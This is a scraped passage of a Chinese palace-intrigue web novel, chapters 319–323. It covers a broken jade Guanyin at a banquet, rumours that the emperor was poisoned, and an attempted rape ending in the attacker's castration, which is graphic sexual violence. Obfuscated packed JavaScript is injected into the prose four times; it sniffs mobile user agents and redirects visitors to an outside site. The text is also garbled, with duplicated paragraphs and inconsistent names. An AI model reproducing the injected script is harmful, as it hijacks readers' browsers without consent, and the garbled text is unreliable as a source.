周嬷嬷接过匣子,刚一打开,在场众人便齐齐倒吸了一口凉气,脸色大变。“这……”圆脸的妇人像是被什么惊天大秘密噎住了喉咙,她故作夸张地用手捂住嘴,瞪大了眼睛,眼珠子几乎要从眼眶里蹦出来,死死地盯着锦盒里那一堆碎裂的玉块,仿佛要用目光把它们重新粘合起来。 “这晏四姑娘怎么……怎么送了尊碎了的观音像,给,给亲娘啊!”她猛地扭过头,视线如探照灯般在钱雅芝身上来回扫射,仿佛要把她从头到脚、从里到外都看个透彻,语气里满满都是掩饰不住的幸灾乐祸,像是恨不得敲锣打鼓,昭告天下这个大八卦。 “哎呦喂,晏夫人,看来外头那些个传言,竟都是真的呀!您和府上四姑娘,这,这还真是不对付。”她故意拉长了音调,每个字都像是在唱戏文般抑扬顿挫,说到一半却又戛然而止,留下一个意味深长的停顿,足够在场的所有人自行脑补出无数种可能。 她这番作态,就像是在平静的湖面上投下了一颗巨石,激起了层层涟漪,让在场所有人都忍不住开始猜测、揣摩。 先前晏清澜还说了什么?重要吗? 其实根本不用深究,在场的人哪个不是人精,盛京贵妇圈子里就那么大,稍微有点风吹草动,就能传得沸沸扬扬。只要稍微想想最近有关苏府的那些八卦,那些真真假假、虚虚实实的传闻,就足够拼凑出事情的全貌,甚至还能自行发挥,脑补出更多细节。 第三百一十九章 桂柔的眉头紧紧地皱了起来,像是两只不安的小虫子在眉心纠结,又像是两座小山挤在了一起,形成了一道深深的沟壑。 翠环更是脸色煞白,毫无血色,像是大病初愈一般,又像是被抽走了全身的力气,只剩下一副空壳。她是真的、真的不知道这到底是怎么回事,眼前的这堆碎玉,真真切切地把她给惊着了,像是晴天霹雳一般,劈得她头晕目眩,半晌回不过神来。 明明、明明先前在苏府的时候还完好无损的,怎么一眨眼就碎成了这个样子?这简直比戏文里的情节还要离奇! 桂柔的眼中写满了惊愕和难以置信,她微微张着嘴,声音都有些发颤,每一个尾音都带着细微的颤抖,仿佛风中摇曳的烛火,随时都可能熄灭:“这……这不可能啊!” “入府之前,我家姑娘备下的寿礼,那可是,那可是都由贵府的阍侍亲自检查过的。先前在府门口的时候,人来人往的,大家伙儿,大家伙儿也都瞧见了的,这,这玉观音先前明明是好好的。”桂柔说话时,下巴微微抬起,每一个字都说得斩钉截铁,像是要把每一个字都刻在在场所有人的心里。 翠环也像小鸡啄米般连忙点头,试图让自己的话更有分量,更具有说服力。 她深吸一口气,强迫自己冷静下来,然后走到一位身穿湖蓝色衣裙的夫人身旁。翠环微微屈膝,恭恭敬敬地向那位夫人行了一个礼,这是最标准的宫廷礼仪,挑不出半点错处。她声音不高不低,却清晰地传入在场每一个人的耳中,带着一种不容置疑的坚定。 “之前小婢在苏府开那个锦盒时,这位贵妇可是亲自目睹了全过程,那时候,这尊玉观音还是完好无损的。”翠环的目光坚定地看向那位夫人,像是两颗寒星,闪烁着冷冽的光芒,“这位夫人,您说奴婢说的可对?” 在场所有人的目光,如同聚光灯一般,齐刷刷地落在了那位身穿湖蓝色衣裙的夫人身上。众目睽睽之下,仿佛有无数双眼睛在盯着她,要从她的每一个细微表情中寻找出真相,不放过任何蛛丝马迹。 这目光如同一张无形的大网,将那位夫人紧紧地笼罩其中,让她无处可逃。 先前在苏府门外,那么多人亲眼目睹,这位贵妇总不能睁眼说瞎话吧。更何况,她也并非那种喜欢搬弄是非、颠倒黑白之人。她微微颔首,用一个细微的动作,肯定了翠环的说法。“确实如此。” “这玉,的确不是最初就已经破损了。”她顿了一下,又补充了一句,语气平淡,却掷地有声。 听她这么一说,桂柔紧绷的神经稍稍放松,她不动声色地扯了一下嘴角,露出一个几不可察的弧度,像是自嘲,又像是松了一口气。她迅速调整了自己的表情,将目光转向站在一旁、身穿紫色衣裙的丫鬟,仿佛要在人群中精准地锁定目标。 “刚刚就是这位姐姐带我和翠环一起进门的,一路上,奴婢都有小心翼翼地捧着这个锦盒,没有磕着,更没有碰着。”桂柔看着那紫衣丫鬟,语气平缓而坚定,像是陈述一个再简单不过的事实,“这位姐姐,奴婢说的可对?” 那穿紫衣的丫鬟被桂柔这样一问,心头不由得一紧,像是被一只无形的手给攥住了。她可不敢胡乱说话,毕竟,若是这锦盒真的磕了碰了,上面必然会留下痕迹,哪怕再细微的划痕,在有心人的眼里,也能被放大无数倍。可眼下,这锦盒干干净净、完好无损,连一丝划痕都没有,简直比新做的还要新。 众目睽睽之下,她根本无从抵赖。她只能硬着头皮,实话实说:“是这样的,这一路上,确实没有磕着,也没有碰着。”语气里带着一丝无奈,也有一丝不易察觉的紧张。 苏府今日宾客盈门,人来人往,络绎不绝。就算她想扯谎,也肯定会有人站出来反驳。到时候被当众揭穿,那才真是颜面扫地、无地自容,恐怕这辈子都别想在盛京抬起头来了。 钱雅芝的脸色一阵青一阵白,像是调色盘被打翻了一般,五颜六色的,又像是走马灯一般,变幻莫测,煞是好看。她本来就因为晏清澜没有出席她的寿宴而憋了一肚子的火气,像是有一团无名火在胸腔里熊熊燃烧,烧得她五脏六腑都疼,却又无处发泄,只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579948|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硬生生地憋着。 她原本精心策划,准备了许久的计划,想要让晏清澜在今天的寿宴上身败名裂、颜面尽失。可谁知,那个死丫头竟敢直接不来!晏清澜这一招釜底抽薪,彻底打乱了她的阵脚。 翠环的视线从钱雅芝的脸上缓缓滑过,没有丝毫的畏惧和退缩,最终停留在那些交头接耳、窃窃私语的女眷身上。她知道,今日这事,若是不能妥善处理,恐怕会成为盛京贵妇圈子里长久的谈资,对自家姑娘的名声造成极大的损害。 虽然她不明白这玉观音为何会突然碎裂,但这并不妨碍她为自家姑娘辩解。她深吸一口气,挺直了腰板,朗声道:“晏夫人,诸位夫人,这玉观音究竟为何会碎裂,奴婢们确实不知。只是,在入府之前,这玉观音确确实实是完好无损的。这一点,在场的诸位都可以作证。” 桂柔接过话头,继续说道:“或许……这当真是天意弄人。只是,这天意也太过巧合了些。早不碎,晚不碎,偏偏进了苏府才碎,这未免也太……” 她故意欲言又止,留下无限遐想的空间。紧接着话锋一转,“退一万步说,即便当真是四姑娘有意为之,也绝不会选这样一尊价值连城的玉观音。诸位都是识货之人,想必也看得出,这玉观音的材质和雕工,都是上上之选。四姑娘就算再……再怎么想,也不会如此糟蹋东西。” 桂柔的脸上露出了恰到好处的疑惑和不解,仿佛她真的百思不得其解。 在场众人听了桂柔这番话,也都暗自思忖起来。 是啊,就算晏清澜再怎么和钱雅芝不对付,也不至于用这种杀敌一千、自损八百的法子吧?这玉观音一看就价值不菲,就算要作践,也犯不着拿这么贵重的东西来啊? “依我看,八成是这玉观音和苏府八字不合!”不知是谁,突然冒出了这么一句。 钱雅芝原本就难看的脸色,此刻更是阴沉得快要滴出水来。她紧紧地攥着手中的茶杯,指节因为用力过猛而泛白,指甲深深地嵌入掌心的肉里,几乎要掐出血来,可她却像是感觉不到疼痛一般。 第三百二十章 她的目光死死地盯着手中的茶杯,仿佛要把那茶杯盯出一个洞来。 晏清澜!这个小**,竟然敢用这种方式给她难堪!简直是欺人太甚! 她恨不得立刻将晏清澜抓到面前,狠狠地折磨一番,以泄心头之恨! 然而,当着这么多宾客的面,她却连一丝一毫的怒容都不能流露出来。她必须维持住自己端庄贤淑的形象,哪怕心里恨得滴血,也要装出一副若无其事的样子,甚至还要强颜欢笑。这种感觉,简直比吃了苍蝇还要恶心。 她强忍着怒火,深吸一口气,努力让自己的声音听起来平静一些,甚至还带上了一丝不易察觉的颤抖:“想来……这只是个意外。阿清她……也是一片孝心。” 她这话,说得实在是太过违心,连她自己都觉得有些反胃。 与钱雅芝一向不对付的那个圆脸夫人,又发出一阵古怪的笑声,像是老鸹夜啼,刺耳又难听。 “哎呦,晏夫人,您可真是大度!不过话说回来,这大喜的日子,玉却碎了,这可不是什么好兆头啊!”她故意拉长了声音,语气中充满了幸灾乐祸,“你们说,这是不是老天爷在警示什么呀?” 她旁边的贵妇清了清嗓子,显然也是个喜欢看热闹的。她乐得看到钱雅芝出丑,随即脸上浮现出一抹耐人寻味的神色,附和道:“可不是嘛,这玉碎得也太蹊跷了!” 那圆脸夫人像是找到了知音,眼睛一亮,三角眼微微眯起,露出一抹精明又刻薄的笑: “什么宁死不屈的大道理!这玉啊,那可是有灵性的!尤其是这观音像,平日里都是受人供奉,享受香火的!偏偏就碎了!你们说,这是不是老天爷都看不过去了?”“这玉碎得蹊跷!” 一位夫人轻咳一声,眼尾的细纹都挤在了一起。她显然是喜欢看热闹的,巴不得钱雅芝出丑。 另一位圆脸夫人像是找到了知音,立刻眉飞色舞地附和: “谁说不是呢?好端端的,怎么就碎了呢?” 她那双三角眼滴溜溜地转,闪着精明又刻薄的光, “玉有灵性!特别是这观音像,平日里受人供奉,享受香火!这当口碎了,啧啧……” 她故意拉长了声音,尾音上扬,透着一股子幸灾乐祸的劲儿。 “你们说,这是不是老天爷在警示什么呀?” 这两人一唱一和,说是窃窃私语,可声音却大得足够让周围的人都听个清楚明白。 话里话外,都是在讽刺钱雅芝平日里装模作样,背地里不知道做了多少亏心事。 晏玥玥紧紧地抿着唇,脸色一阵青一阵白。 她当然听得出这些人在含沙射影地指责谁。 “表姐……” 她眼珠子转了转,轻轻推了推身旁的赵芊芊,试图寻求同盟。 长辈们的话虽然重要,她一个晚辈不该插嘴。但现在这群人明着暗着都在欺压她母亲,她怎么可能忍下这口恶气? 晏玥玥自认和这位表姐关系不错,往常遇到这种事,赵芊芊都会替她出头。 然而,这一次,赵芊芊却只是淡淡地瞥了她一眼,嘴角微微勾起,露出一丝玩味的弧度。 她没有接话,反而端起桌上的茶盏,轻轻地吹了吹,似乎对眼前的闹剧毫不在意。 其实,赵芊芊压根就不想掺和庄家的这些破事。 自从三公主和宋明澜赐婚的消息像晴天霹雳一样砸下来,她的心就一直揪着,没舒坦过。 罗氏起初还以为她是小女儿情态,没当回事。 谁知赵芊芊把自己关在屋里,不吃不喝,整日以泪洗面。 罗氏这才慌了神,可圣旨已下,陆家又是高门大户,她们赵家哪有资格置喙? 更何况,宋明澜身边还有个晏清澜,瞧着就不好对付。 陆家那位小姐宋溪溪,也不是省油的灯。 罗氏哪能放心让赵芊芊去硬碰硬? 今日这生辰宴,罗氏是下了狠心,才把赵芊芊给拽了过来,就怕她在家胡思乱想,钻了牛角尖。 毕竟,为情所困,想不开的女子,可不在少数。 可罗氏显然是多虑了。 赵芊芊再怎么喜欢宋明澜,也不必因为他娶别人就想不开。 只是,这并不影响她看晏玥玥不顺眼。 中秋那晚,她也偷溜了出去。 茫茫人海中,她一眼就瞧见了宋明澜,还有他身旁的女子,只是当时并不知道是三公主韩清韵。 她躲在人群里,还没来得及靠近,就听见晏玥玥惊叫着“三公主”,还质问人家为何披着宋明澜的披风。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579949|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >当时,赵芊芊真想冲上去捂住晏玥玥的嘴。 后来,燕王出现,带走了三公主。 赵芊芊心中还抱有一丝希望,可没过多久,皇上的赐婚旨意已经颁布,彻底将她打入谷底。 一想到这些,赵芊芊就气不打一处来。 偏偏这时候,晏玥玥还不知趣地凑过来,想拿她当枪使唤。 赵芊芊心中冷笑,面上却是不动声色。 她不当场给晏玥玥一个难堪,已经算是给足了面子。 晏玥玥见赵芊芊不理她,眉头紧紧地皱了起来。 她正欲开口,突然一个丫鬟火急火燎地冲了进来。 那侍婢跑得极快,额头上全是汗珠,发丝凌乱,显然是出了大事。 一个不留神,她被门槛绊了一下,整个人重重地摔在了地上,发出一声闷响。 “哎呦……” 众宾客纷纷侧目,脸上露出不悦的神色。 钱雅芝的脸色更是难看到了极点。 赵芊芊却像是什么也没看见,慢条斯理地拈起一块点心,送入口中,一副事不关己的模样。 那侍婢顾不上疼痛,也顾不上仪态,手脚并用地爬到钱雅芝面前,声音抖得不成样子: “夫人!出事了!大事不好了!” “外头都在传……都在传四姑娘她……” 她似乎是吓坏了,说话结结巴巴,半天也说不出一句完整的话。 “传什么?吞吞吐吐的,还不快说!”钱雅芝猛地一拍桌子,厉声喝道。 晏玥玥更是直接站了起来,几步走到那侍婢面前,居高临下地盯着她, “是不是晏清澜那个扫把星又惹祸了?” 她一边说着,一边紧紧地抓住钱雅芝的胳膊, “娘,您瞧瞧,我就说四姐姐迟早要惹出大事来!您还不信!” “她该不会是胆大包天,在宫里冲撞了哪位贵人吧?” 她转头看向那侍婢,语气更加严厉: “还不快说!你是想让我们急死吗?” 那侍婢被吓得浑身一哆嗦,声音都带了哭腔, “奴婢……奴婢也不知道具体怎么回事……” “只听说四姑娘今日进宫,给皇后娘娘做了点心……皇上吃了点心之后,就… 第三百二十一章 …就……” 她越说声音越小,最后几乎听不见了。 “就怎么样了?快说啊!”钱雅芝心急如焚,声音都劈了叉。 “就……龙体抱恙!太医说……说像是……像是中了毒……” 那侍婢终于把话说完,整个人瘫软在地。 “什么?!” “天哪……” “这还了得!” 这话如同惊雷一般,在人群中炸开,宾客们顿时乱作一团。 “庄家四姑娘这是吃了熊心豹子胆了!竟敢谋害皇上!” “这下庄家可真是要大难临头了!” “还‘大难临头’?我看是‘灭顶之灾’才对!” “嘘!小声点,别让人听见了!” “怕什么?这事儿还用得着咱们说吗?整个京城都传遍了!” 有人惊呼,有人窃窃私语,也有人幸灾乐祸。 钱雅芝只觉得一阵天旋地转,险些晕了过去。 她做梦也想不到,晏清澜竟然会给她惹下如此滔天大祸。 她还没来得及收拾那个小**,自己就要被她给连累了吗? 一想到自己和四个儿子,还有她最疼爱的玥玥,都要因为晏清澜而遭殃,钱雅芝就恨得咬牙切齿。 她只觉得胸口一阵剧痛,仿佛有一团火在烧。 “噗——” 钱雅芝猛地喷出一口鲜血,染红了衣襟。 “孽障……你这个孽障……” 她嘶吼着,声音嘶哑而绝望,随后便眼前一黑,彻底失去了意识。 “娘!” 晏玥玥惊声尖叫。 整个苏府瞬间陷入了一片混乱。 赵芊芊紧紧地拽着罗氏的胳膊,生怕她在混乱中被人推搡。 她似乎被人撞了一下,但也没太在意,只随口说了句“抱歉”,便拉着罗氏躲到了一旁。 晏清萦站在人群中,只觉得手脚冰凉。 她虽然不相信晏清澜会蠢到去谋害皇上,可眼下的情形,却让她感到一阵阵的恐惧。 她不想死…… 晏清萦用力地吸了一口气,努力让自己冷静下来。 她想回自己的院子,却不料,钱玉明不知何时出现在她身后,一双手不规矩地搂住了她的腰。 “萦表妹,这是要去哪儿啊?” 他笑得一脸猥琐,让人作呕。“萦表妹,这是要去哪儿啊?” 一声黏腻的嗓音,像毒蛇吐信,从背后阴恻恻地传来。 晏清萦猛地僵住,血液仿佛瞬间冻结。 钱玉明! 他怎么会…… 晏清萦缓缓转过身,脸色煞白,眼底的惊恐几乎要溢出来。 不该啊! 他不是应该在前院的男眷席那边吗? 这里可是后院! 光天化日,他怎么敢?! 钱玉明步步逼近,那张纵欲过度的脸上,满是令人作呕的邪笑。 他搓着手,目光像黏腻的蛛网,将晏清萦从头到脚细细密密地缠绕。 “表妹这是吓着了?别怕,表哥疼你。” 晏清萦紧紧咬着下唇,口腔里泛起一丝腥甜。 她不敢喊。 周围乱哄哄的,可越是这样,越没人会注意到这偏僻的角落。 真要喊出来…… 晏清萦身子抖得像筛糠。 她太清楚钱雅芝的手段了。 为了苏府的名声,为了那个宝贝女儿晏玥玥,钱雅芝什么事做不出来? 送她去家庙? 不,那都算慈悲了! 只怕…… 晏清萦不敢想,她死死盯着钱玉明,眼泪无声地滑落。 钱玉明被她这副楚楚可怜的模样刺激得更加兴奋。 他猛地伸手,一把捂住晏清萦的嘴,将她往更深处的阴影里拖。 “唔……唔……” 晏清萦拼命挣扎,可她那点力气,在钱玉明面前,就像蚍蜉撼树。 她绝望地想哭,却发不出一点声音。 钱玉明对她,早就起了心思。 上回在苏府,若不是晏清清横插一脚,他也不会狼狈退场。 虽说那次晏清萦披头散发、满身红疹,看的人心头发毛。 可事后他冷静下来,却觉得这事儿透着蹊跷。 哪有那么巧的事?好端端一个人,说变鬼就变鬼? 他钱玉明不信邪! 这里头,八成有猫腻! 而这猫腻,多半跟赵芊芊脱不了干系! 一想到那个嚣张跋扈,差点要了他命的堂妹,钱玉明就恨得牙痒痒。 他暗中使了银子,让苏府的丫鬟偷偷描了一张晏清萦的小像。 展开一看,画上的美人,清丽脱俗,宛若不食人间烟火的仙子。 钱玉明的心,顿时像被猫爪子挠了一样,痒得厉害。 只可惜,那日之后,晏清萦就跟换了个人似的。 每日里,她都陪着晏老夫人吃斋念佛,深居简出,跟个菩萨似的,他愣是找不到下手的机会。 钱玉明心有不甘,却也只能干瞪眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16585095|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可谁曾想,今日苏府大乱,倒叫他捡了个漏! 钱玉明狞笑着,手上越发用力。 他心想,就算真被人撞见了又如何? 一个无足轻重的庶女,谁会为了她得罪自己? 更何况,姑母钱雅芝对这个庶女也厌恶得很。 到时候,他倒要看看,谁敢多嘴! “表妹,这可是姑母默许的!” 钱玉明将晏清萦狠狠摁在地上,从腰间扯出一条布带,胡乱地往她嘴里塞。 “我早就跟她提过这事,她不仅不拦着,还……” 他得意地笑着,俯下身,就要去扯晏清萦的亵裤。 “你也别怪我,要恨,恨那个狠心抛弃你的女人去吧!” 晏清萦死死闭上眼睛,两行清泪,无声地没入鬓角。 完了。 她的人生,全完了。 就要毁在这个畜生手里了! 她不甘心! 可她又能怎么办? “嗖——” 就在钱玉明褪下亵裤,准备提枪上阵的时候,一道寒光,贴着他的躯体掠过。 “啊——!!” 凄厉的惨叫,划破长空。 钱玉明甚至没看清发生了什么,就感觉下身一凉,紧接着,一阵剧痛,让他眼前发黑。 他低头。 只见本该昂扬挺立的物事,此刻正孤零零地躺在地上,鲜血喷涌。 “我、我的……” 钱玉明颤抖着,想说些什么,却只觉得天旋地转。 “砰”的一声,他仰面倒下,溅起一地尘土。 桂柔面无表情地收回短刀,眼神冰冷。 “割以永治。” 她冷冷地吐出四个字,仿佛在说一件微不足道的小事。 像钱玉明这种**,留着那玩意儿也是祸害! 阉了,正好! 桂柔甚至恶劣地想,说不定钱玉明还能因祸得福,被送进宫里,混个太监当当。 再不济,也能落个清净! 晏芸清一直躲在暗处,看到这血腥的一幕,惊得差点叫出声。 她捂住嘴,瞪大了眼睛,看着桂柔, 这…… “三妹妹!” 晏芸清顾不得许多,连忙跑过去,扶起瘫软在地上的晏清萦。 她手忙脚乱地解下自己的披风,将晏清萦裹了个严严实实。 “妙菱,你怎么样?别怕,我在呢……” 晏芸清的声音都在颤抖,却还是努力稳住心神,柔声安慰着。 第三百二十二章 她看着晏清萦惨白的脸,心疼不已。 晏清萦紧紧抓着晏芸清的手,像是抓着最后一根救命稻草,眼泪止不住地往下流。 她想说话,可喉咙像是被什么东西堵住了,只能发出破碎的呜咽。 晏芸清见状,连忙小心地将塞在晏清萦嘴里的布条抽出来。 “慢点说,不着急,我在听……” 她一下一下,轻轻拍着晏清萦的背,像哄孩子一样。 “大姐姐……我……” 晏清萦断断续续地开口,声音细若蚊蝇。 “咱们先去见武母,把事情原原本本地告诉她,好不好?” 晏芸清打断她的话,轻声提议。 “武母一定会为你做主的。” 晏清萦身子还在抖,却还是用力点了点头。 她紧紧攥着晏芸清的衣袖,仿佛这样才能汲取到一丝力量。 晏芸清深吸一口气,看向站在一旁的桂柔,眼中满是感激。 “桂柔姑娘,今日之事,多谢你出手相助。” 她顿了顿,声音压得更低。 “你还是快些离开吧,免得被牵连进来。” 桂柔看着地上昏死过去的钱玉明,眼神复杂。 她原本确实不想多管闲事。 晏清萦和主子的关系,算不上亲近。 可谁让晏芸清看到了呢? 方才,晏芸清悄悄跟过来,从头上拔下一支金簪,紧紧攥在手里,那架势,分明是想自己动手。 桂柔怎能让她冒险? 这位大小姐,可是主子的亲姐姐! 万一有个闪失,她怎么跟主子交代? 桂柔摇了摇头,示意自己没事。 “大小姐,这里血腥气太重,你还是先带五小姐离开吧。” 她走到钱玉明身边,弯腰,手指勾住他的腰带,像拎一只破麻袋一样,将他提了起来。 “这**,就交给我处理。” 桂柔足尖轻点,身形如鬼魅般掠过院墙。 她直接将钱玉明扔到了苏府大门外。 至于会不会被人发现,她已经顾不得那么多了。 晏芸清看着桂柔离去的背影,张了张嘴,想说些什么,最终却只是化作一声叹息。 她扶着晏清萦,一步一步,艰难地朝晏老夫人的暖阁走去。 暖阁里,晏老夫人听完晏清萦断断续续的讲述,心疼得直掉眼泪。 她将晏清萦紧紧搂在怀里,一下一下地抚摸着她的头发。 “可怜的孩子,是武母没保护好你……别怕,有武母在,谁也不能欺负你……”“武母,我怕……” 晏清萦死死抠住晏老夫人的衣袖,力道大得指节都泛了白,单薄的身子抖个不停,像一片在寒风中瑟缩的枯叶。 “我该怎么办?钱玉明他……他说……” 她声音细得像蚊子叫,说到一半就说不下去了,脸色白得吓人,嘴唇也咬得没了血色。 晏老夫人心疼坏了,赶紧把人搂进怀里,轻轻拍着她的背,又急又气: “那个天杀的畜生!他到底跟你胡咧咧了什么?” 晏清萦闭了闭眼,像是鼓足了全身的勇气,才从牙缝里挤出一句话: “他说……这事儿……是母亲让做的……” 话到一半,她又卡住了,飞快地抬眼瞅了瞅晏老夫人,生怕说错了什么话。 她咬紧了下唇,声音都打着颤:“我、我不明白……我到底哪儿做错了,母亲要这么对我……” “她这是要把我往死路上逼啊!” 眼泪再也忍不住了,大颗大颗地往下掉。 “武母,我怕,我是真怕了……我宁可……宁可铰了头发去做姑子,也不敢再在这府里待下去了……” 她抖得更厉害了,像是随时都会倒下去。 晏老夫人听了这话,半天没说出话来,脸色一阵红一阵白的。 “你说啥?!”她声音都劈了,像是听到了什么了不得的事。 钱雅芝咋能恶毒成这样?这种事她也做得出来?! 晏老夫人心里一阵阵发毛。 这些年,钱雅芝干的那些事儿……哪一件是能见人的? 老三的死,真就只是个意外? 晏老夫人不敢往下想了,后脊梁骨直冒凉气。 晏清萦却像没看见晏老夫人的脸色,只是一个劲儿地哭,哭得都快背过气去了。 她心里清楚,就凭她几句话,扳不倒钱雅芝。 她一个没权没势的庶女,几滴眼泪几句话,能顶个啥用? 再说,这事儿本来就没个真凭实据的。 但她想要的,也不是让谁给她出头。 “武母……”晏清萦抽抽搭搭地,结结巴巴开口,“我……我是真没活路了……” “赵家要是把这事儿赖我头上,母亲… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16585096|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …母亲她肯定会把我交出去的……” 她一边说,一边拿眼角偷瞄晏老夫人的脸色。 “我不怪四姐姐的丫鬟……我只恨我自己,咋就没亲手结果了那个畜生!” 晏清萦猛地抬起头,眼里冒出真真儿的恨意,可一转眼又变成了绝望。 “可我……我宁可一头碰死,也不想再落到钱玉明手里……” “我要是真到了那一步,我、我就……” 她咬紧了牙,像是下了天大的决心,声音都变了: “我就剃了头发,去做姑子!” 晏清萦说到最后,嗓子都喊破了。 她抖个不停,整个人像是被逼到了死胡同,再没路可走了。 晏老夫人叹了口气,心都揪成了一团。 她把晏清萦搂紧了些,轻轻摸着她的头发,像是安慰,又像是保证: “傻丫头,别说胡话……” “有武母在,谁也不能把你往火坑里推……” “你也别再说那些死啊活啊的,更不许提去做姑子……” 晏老夫人心里亮堂着呢。 晏清萦这点小心思,瞒不过她。 她知道,晏清萦这是在赌,赌她这个当武母的,就算不护着晏清萦,也得护着晏清澜。 这丫头,心眼儿倒是不少。 只是…… 就算晏清澜的丫鬟不动手,她也不会看着晏清萦被送进赵家。 哪有孙女差点儿让人糟蹋了,当武母的还装聋作哑,甚至把孙女往狼窝里推的? 她再糊涂,也不能干出这种事来! 晏芸清也看不下眼了,皱着眉头,话里带着几分无奈: “三妹妹,你可千万别犯傻!你要是真有个好歹,那不是亲者痛,仇者快吗?” “这事儿本来就不是你的错,该千刀万剐的是钱玉明,是那个黑心烂肺的女人!” 晏芸清顿了顿,语气更沉了: “至于去做姑子……这话以后可不能再说了。” “这年月,女人活着就不容易,你还真以为……去了庵堂就清净了?” “那种地方……脏事儿多着呢!” 晏清萦把头埋在晏老夫人怀里,闷闷地应了一声: “是,武母,我知道了……” 可那声音,还是止不住地发颤。 她要的,不过是一句话,一个能护着她的地方。 第三百二十三章 她知道,没人能真正替她做主。 可至少,她得给自己争一条活路。 果不其然,赵家很快就找上门了。 来的是钱玉明的娘韦氏。 她身后跟着几个五大三粗的婆子,气势汹汹地就往苏府里闯,那架势,不知道的还以为是来打家劫舍的。 韦氏眼睛不是眼睛,鼻子不是鼻子的,死盯着钱雅芝,像是要把她给吃了。 可她却一句也不提钱玉明让人给废了的事,只是扯着嘴角冷笑: “我说弟妹啊,我家玉儿跟我说了,说是瞧上你们家老五了,非得弄进屋里才算完。” 她顿了顿,语气轻飘飘的,像是打发叫花子: “我呢,也觉得这事儿挺好。这不,就来跟你说一声,你要是没啥意见,我就直接把人领走了。” 那话说的,那表情装的,好像晏清萦不是个人,是个能随便买卖的玩意儿。 连个玩意儿都不如,倒像是个能随便宰了的鸡鸭。 钱雅芝这会儿还晕头转向的呢。 晏清澜惹出来的那档子事儿,她到现在还没回过神来。 客人是晏玥玥出面打发走的,她现在,连应付韦氏都觉得费劲。 可她做梦也没想到,韦氏一张嘴,竟是要替钱玉明“娶”晏清萦。 连个“娶”字都算不上,整个儿把晏清萦当成了个玩意儿。 钱雅芝盯着韦氏,脑瓜子嗡嗡的。 她这个大嫂,莫不是失心疯了? 就算要给钱玉明娶晏清萦,那也不能是做妾啊! 更何况,晏清萦虽说是个庶出的,可也不是能随随便便塞给一个商户人家做小老婆的! 传出去,庄家的脸往哪儿搁? 钱雅芝本来还想跟韦氏虚与委蛇几句,可这会儿也顾不上了,直接冷了脸: “大嫂,您这话说的,合着我们庄家的女儿,是任人挑选的白菜萝卜不成?还由得你们挑三拣四,说带走就带走?” “再说了,就算两家真有结亲的意思,那也得按着规矩来!哪有像您这样的,连个正经的求娶都没有,就想把人领走?不知道的,还当我们庄家上赶着倒贴呢!” 钱雅芝一番话说得又快又急,把韦氏给堵了个哑口无言。 她确实不知道苏府里头发生了什么,只当是钱玉明看上了晏清萦的美色,想要用强。 钱玉明那点儿花花肠子,钱雅芝心里门儿清。 她正愁没法子把晏清萦那个丧门星给弄走呢,巴不得把人扔进赵家那个狼窝。 可扔归扔,绝不能是以这种方式! 不然,丢的就不是晏清萦一个人的脸,而是整个庄家的脸面!钱雅芝这话说得有理有据,让人挑不出半点毛病。 韦氏平日里的做派,也确实是坏了规矩。 若搁在平时,韦氏或许还能耐着性子,跟钱雅芝这个小姑子好好掰扯掰扯。 现在的情况已经变了。 韦氏心里憋着一股火,这股火烧得她五脏六腑都疼。她今天来要晏清萦,可不是真为了给钱玉明那个不成器的儿子娶媳妇!她是恨不得把晏清萦那个小**弄回赵家,扒皮抽筋,活活折磨死! 就在今天,她刚出了苏府,就瞧见自家儿子钱玉明,被人像扔死狗一样扔在地上。钱玉明下半身全是血,染红了衣裳,触目惊心。 周围乌泱泱围了一群人,对着钱玉明指指点点,窃窃私语,那些话,像针一样扎在韦氏心上。 韦氏强忍着心头的慌乱,赶紧让小厮把钱玉明背回府。又火急火燎地请了大夫来。 谁知道,大夫诊脉之后,面色凝重,竟说钱玉明的命根子,是让人给硬生生剁了! 韦氏只觉得眼前一黑,天旋地转,差点没一头栽倒。她哭得死去活来,险些背过气去。 等钱玉明悠悠转醒,她顾不得许多,劈头盖脸地就问是谁下的毒手。 